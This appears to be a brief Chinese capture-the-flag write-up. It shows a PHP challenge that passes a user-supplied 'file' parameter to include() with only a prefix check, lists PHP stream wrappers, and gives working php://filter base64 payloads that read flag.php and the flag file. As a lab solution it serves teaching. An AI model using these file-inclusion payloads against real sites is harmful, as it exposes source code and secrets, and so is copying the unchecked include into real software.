题目链接
123456789101112131415
<?phperror_reporting(0);if (isset($_GET['file'])) { if ( substr($_GET["file"], 0, 3) === "php" ) { echo "Nice!!!"; include($_GET["file"]); } else { echo "Hacker!!"; }}else { highlight_file(__FILE__);}//flag.php
1234567891011121314151617
1)file:// 访问本地文件系统2)http:// 访问HTTP(S)网址3)ftp:// 访问FTP(S)URL4)php:// 访问各个输出输入流 php://filter/convert.base64-encode/resource=flag.php5)zlib:// 处理压缩流6)data:// 读取数据7)glob:// 查找匹配的文件路径模式8)phar:// PHP归档9)rar:// RAR数据压缩
1234
?file=php://filter/convert.base64-encode/resource=flag.php// 获得base64 解码后提示flag在flag文件中?file=php://filter/convert.base64-encode/resource=flag// 获得flag